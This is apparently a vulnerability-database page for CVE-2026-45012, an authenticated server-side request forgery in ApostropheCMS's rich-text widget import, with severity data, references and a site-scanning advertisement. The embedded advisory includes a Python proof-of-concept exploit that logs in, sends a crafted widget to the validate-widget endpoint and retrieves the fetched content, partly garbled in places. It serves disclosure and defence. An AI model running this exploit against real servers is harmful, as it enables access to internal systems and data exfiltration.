🛡️ CVE-2026-45012 — apostrophe

🟠 CVSS 8.0 — High ✅ No Known Exploit CWE-918 NVD
8.0
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Apostrophe has authenticated SSRF in rich-text widget import via @apostrophecms/area/validate-widget ### Summary ApostropheCMS contains an authenticated server-side request forgery (SSRF) in the rich-text widget import flow. An authenticated user who can submit/edit rich-text widget content can cause the server to fetch attacker-controlled URLs during widget validation. For image-compatible responses, the fetched content can be persisted and re-hosted by Apostrophe, allowing response exfiltration. ### Details The vulnerable flow is in the rich-text widget sanitizer: - `packages/apostrophe/modules/@apostrophecms/rich-text-widget/index.js` - `packages/apostrophe/modules/@apostrophecms/area/index.js` - `packages/apostrophe/modules/@apostrophecms/widget-type/index.js` Relevant behavior: 1. The backend accepts a widget payload containing `import.html`. 2. It parses `` values from that HTML. 3. For each image, it resolves the URL with: - `new URL(src, input.import.baseUrl || self.apos.baseUrl)` 4. It then performs a server-side `fetch(url)`. 5. The fetched body is written to a temp file and imported through Apostrophe image/attachment logic. This is reachable during widget validation through: - `POST /api/v1/@apostrophecms/area/validate-widget?aposMode=draft` ### PoC 1. Start a local HTTP server with a valid PNG: ```bash mkdir -p /tmp/apos-poc base64 -d > /tmp/apos-poc/secret.png < str: url = urljoin(base_url, "/api/v1/@apostrophecms/login/login") r = requests.post( url, json={ "username": username, "password": password }, timeout=20 ) r.raise_for_status() data = r.json() token = data.get("token") if not token: raise RuntimeError(f"Login succeeded but no token was returned: {data}") return token def trigger(base_url: str, token: str, area_field_id: str, target_url: str) -> dict: url = urljoin( base_url, "/api/v1/@apostrophecms/area/validate-widget?aposMode=draft" ) payload = { "areaFieldId": area_field_id, "type": "@apostrophecms/rich-text", "widget": { "type": "@apostrophecms/rich-text", "content": "

seed

", "import": { "html": f'', "baseUrl": target_url.rsplit("/", 1)[0] if "/" in target_url else target_url } } } r = requests.post( url, headers={ "Authorization": f"Bearer {token}", "Accept": "application/json" }, json=payload, timeout=30 ) r.raise_for_status() return r.json() def main() -> int: parser = argparse.ArgumentParser( description="Authenticated ApostropheCMS SSRF PoC via rich-text widget import." ) parser.add_argument("--base-url", default="http://127.0.0.1:3000") parser.add_argument("--username", default="admin") parser.add_argument("--password", default="admin123") parser.add_argument("--area-field-id", default="cd4f89f5b834d0036f3867f1507a8add") parser.add_argument("--target-url", default="http://127.0.0.1:7777/secret.png") parser.add_argument( "--fetch-image", action="store_true", help="Fetch the generated Apostrophe image URL after exploitation." ) args = parser.parse_args() try: token = login(args.base_url, args.username, args.password) result = trigger(args.base_url, token, args.area_field_id, args.target_url) except Exception as exc: print(f"[!] Exploit failed: {exc}", file=sys.stderr) return 1 print("[+] Login OK") print(f"[+] Bearer token: {token}") print("[+] Exploit response:") print(json.dumps(result, indent=2)) widget = result.get("widget") or {} image_ids = widget.get("imageIds") or [] if not image_ids: print("[-] No imageIds returned. Target may have been fetched but not persisted as an image.") return 0 image_id = image_ids[0] image_path = f"/api/v1/@apostrophecms/image/{image_id}/src" image_url = urljoin(args.base_url, image_path) print(f"[+] Generated image id: {image_id}") print(f"[+] Generated image URL: {image_url}") if args.fetch_image: r = requests.get(image_url, allow_redirects=True, timeout=30) print(f"[+] Final fetch status: {r.status_code}") print(f"[+] Final URL: {r.url}") print(f"[+] Retrieved bytes: {len(r.content)}") return 0 if __name__ == "__main__": rais

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is low, an attacker needs low-level privileges on the target. No user interaction is required. The scope is unchanged, so the impact stays within the vulnerable component. Rated impact: confidentiality high, integrity low, availability low.

Weakness class

CVE-2026-45012 is classified as CWE-918: Server-Side Request Forgery (SSRF). The server fetches a URL supplied by the caller, which can be pointed at internal systems it alone can reach.

Affected software

CVE-2026-45012 is recorded against 2 packages.

  • apostrophe
  • unknown

Timeline and source

Published on 14 May 2026 and last revised on 12 June 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
nvd.nist.gov (Advisory)
github.com (Package)

Details

Severity HIGH
CVSS Score 8.0
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
CWE CWE-918
Public Exploit ✅ No
Source NVD
Published 2026-05-14
Updated 2026-08-12
Modified 2026-06-12
Fix URL N/A

Affected Packages

Software From version Fixed in
apostrophe
unknown

Similar Threats

Site Security Check

Is apostrophe part of your stack?

CVE-2026-45012 is rated CVSS 8.0 High. BotEraser scans your installation against known CVE records and tells you whether this vulnerability applies to the versions you actually run.

Scan My Site Free →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.